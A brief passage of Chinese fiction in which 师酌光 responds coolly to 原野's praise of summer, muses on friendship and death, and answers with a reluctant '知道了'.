师酌光对原野提出来的夏天的优点并不如何神往。 但如果朋友死在夏天,他以后过夏天可能也没那么高兴了吧。 我们算是朋友吗? 原野还在支着耳朵等答案。 “知道了。”师酌光按捺住自己复杂的情绪,最后道。